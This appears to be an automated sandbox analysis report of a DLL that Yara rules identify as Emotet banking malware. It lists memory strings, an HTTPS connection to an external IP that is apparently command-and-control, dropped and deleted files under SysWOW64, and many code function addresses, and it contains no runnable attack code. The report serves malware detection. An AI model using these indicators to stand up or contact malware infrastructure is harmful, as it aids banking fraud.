Source: svchost.exe, 0000001F.00000003.1157497409.0000015108B8B000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1157345476.0000015108B84000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1156938699.0000015108B97000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2021-11-26T13:57:30.0386475Z\|\|.\|\|6f0c105d-3db6-47de-894d-fd95973349e2\|\|1152921505694224549\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku"
Source: svchost.exe, 0000001F.00000003.1157497409.0000015108B8B000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1157345476.0000015108B84000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1156938699.0000015108B97000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2021-11-26T13:57:30.0386475Z\|\|.\|\|6f0c105d-3db6-47de-894d-fd95973349e2\|\|1152921505694224549\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku"

Source: WerFault.exe, 00000014.00000002.988862312.0000000004911000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.986850979.0000000004911000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000002.1175308900.0000015108B0D000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1160420267.0000015108B0C000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 0000001F.00000002.1175003928.00000151084EB000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000001F.00000003.1150795758.0000015108B8F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1150829061.0000015108BD0000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: Amcache.hve.17.dr	String found in binary or memory: http://upx.sf.net
Source: svchost.exe, 0000001F.00000003.1150795758.0000015108B8F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1150829061.0000015108BD0000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 0000001F.00000003.1150795758.0000015108B8F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1150829061.0000015108BD0000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 0000001F.00000003.1150795758.0000015108B8F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1150829061.0000015108BD0000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 0000001F.00000003.1153314663.0000015108B7E000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1153380650.0000015109002000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1153337846.0000015108B8F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1153407395.0000015108B7E000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 23_2_00EB3394 InternetReadFile,

23_2_00EB3394

Source: global traffic

Source: unknown

HTTPS traffic detected: 45.63.5.129:443 -> 192.168.2.4:49794 version: TLS 1.2

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 12.2.rundll32.exe.10b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1020000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.dd3740.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.3b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.5c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1203908.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.eb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.dd3740.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.a02240.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10e34a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.540000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.540000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1203908.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1020000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.a02240.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.10b0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.972240.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.972240.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10e34a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.913568790.0000000001020000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.939956990.0000000001170000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.930364249.00000000003B0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.913622906.00000000010CA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.958610660.0000000001170000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.958778791.00000000011EB000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.939332319.00000000005C0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.939371192.000000000095A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1030937060.0000000000DBA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.989427479.00000000011EB000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.930427759.00000000009EA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.904116541.00000000006AB000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1031053353.00000000010B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.989393299.0000000001170000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1139622922.0000000000FAB000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.914845954.0000000000540000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.940009942.00000000011EB000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.956837036.0000000001170000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.939031365.00000000011EB000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.956978658.00000000011EB000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.938967752.0000000001170000.00000040.00000010.sdmp, type: MEMORY

System Summary:

Source: IGidwJjoUs.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 6888 -ip 6888

Source: C:\Windows\SysWOW64\rundll32.exe

File deleted: C:\Windows\SysWOW64\Cwisdx\vimpwfmepmyc.nyd:Zone.Identifier

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\Cwisdx\

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7A9F10	0_2_6E7A9F10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7A77B4	0_2_6E7A77B4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7AD530	0_2_6E7AD530
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7A1DE0	0_2_6E7A1DE0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7A3A90	0_2_6E7A3A90
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7BE3A1	0_2_6E7BE3A1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7B0380	0_2_6E7B0380
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7A6070	0_2_6E7A6070
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7B10C0	0_2_6E7B10C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7A68B0	0_2_6E7A68B0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7AA890	0_2_6E7AA890
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7AE890	0_2_6E7AE890
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7A9F10	2_2_6E7A9F10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7A77B4	2_2_6E7A77B4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7AD530	2_2_6E7AD530
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7A1DE0	2_2_6E7A1DE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7A3A90	2_2_6E7A3A90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7BE3A1	2_2_6E7BE3A1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7B0380	2_2_6E7B0380
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7A6070	2_2_6E7A6070
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7B10C0	2_2_6E7B10C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7A68B0	2_2_6E7A68B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7AA890	2_2_6E7AA890
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7AE890	2_2_6E7AE890
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103EA55	3_2_0103EA55
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01041291	3_2_01041291
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103970A	3_2_0103970A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103E10A	3_2_0103E10A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103590E	3_2_0103590E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01033D0C	3_2_01033D0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103BF0C	3_2_0103BF0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102CB13	3_2_0102CB13
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01024D1E	3_2_01024D1E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01039124	3_2_01039124
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102A92F	3_2_0102A92F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103CD35	3_2_0103CD35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102F73B	3_2_0102F73B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01036540	3_2_01036540
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102BD61	3_2_0102BD61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102CF6E	3_2_0102CF6E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01040370	3_2_01040370
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01033782	3_2_01033782
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01028D80	3_2_01028D80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01024B81	3_2_01024B81
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103DB87	3_2_0103DB87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102358B	3_2_0102358B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01031591	3_2_01031591
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102B191	3_2_0102B191
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01027795	3_2_01027795
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010389A2	3_2_010389A2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103E5A7	3_2_0103E5A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103DDA5	3_2_0103DDA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01030BA4	3_2_01030BA4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103E3B5	3_2_0103E3B5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010385B8	3_2_010385B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010243BE	3_2_010243BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010259BF	3_2_010259BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103D7BE	3_2_0103D7BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010219C0	3_2_010219C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010275D2	3_2_010275D2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102A3E7	3_2_0102A3E7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103EDED	3_2_0103EDED
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010251EC	3_2_010251EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103C205	3_2_0103C205
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102800A	3_2_0102800A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0104261E	3_2_0104261E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01029824	3_2_01029824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01023228	3_2_01023228
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103282D	3_2_0103282D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01023432	3_2_01023432
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102243F	3_2_0102243F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01033043	3_2_01033043
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102AE43	3_2_0102AE43
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01037445	3_2_01037445
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102AA4E	3_2_0102AA4E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102544C	3_2_0102544C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01026453	3_2_01026453
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102CE5A	3_2_0102CE5A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102EE60	3_2_0102EE60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102B464	3_2_0102B464
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01026869	3_2_01026869
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01023A6C	3_2_01023A6C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103B677	3_2_0103B677
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102FA78	3_2_0102FA78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102387F	3_2_0102387F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102A083	3_2_0102A083
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102F48A	3_2_0102F48A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01030A93	3_2_01030A93
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103CE90	3_2_0103CE90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01030E97	3_2_01030E97
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103A29B	3_2_0103A29B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103009A	3_2_0103009A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0103E899	3_2_0103E899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102FE9D	3_2_0102FE9D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01022CC2	3_2_01022CC2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010292C1	3_2_010292C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010420CE	3_2_010420CE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010310CD	3_2_010310CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010352D1	3_2_010352D1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010290D4	3_2_010290D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010328D5	3_2_010328D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01041CDB	3_2_01041CDB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0102C0EA	3_2_0102C0EA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010356E9	3_2_010356E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010284F0	3_2_010284F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010362F5	3_2_010362F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01034CF5	3_2_01034CF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010246FA	3_2_010246FA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01021EFB	3_2_01021EFB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010340FE	3_2_010340FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003CEA55	6_2_003CEA55
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003D1291	6_2_003D1291
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003B243F	6_2_003B243F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003B3432	6_2_003B3432
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003C282D	6_2_003C282D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003B3228	6_2_003B3228
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003B9824	6_2_003B9824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003D261E	6_2_003D261E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003B800A	6_2_003B800A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003CC205	6_2_003CC205
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003BFA78	6_2_003BFA78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003B387F	6_2_003B387F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003CB677	6_2_003CB677
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003B6869	6_2_003B6869
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003B3A6C	6_2_003B3A6C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003BEE60	6_2_003BEE60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003BB464	6_2_003BB464
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003BCE5A	6_2_003BCE5A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003B6453	6_2_003B6453
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003BAA4E	6_2_003BAA4E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003B544C	6_2_003B544C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003BAE43	6_2_003BAE43
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003C7445	6_2_003C7445
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003C3043	6_2_003C3043
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003CE899	6_2_003CE899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003BFE9D	6_2_003BFE9D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003C009A	6_2_003C009A
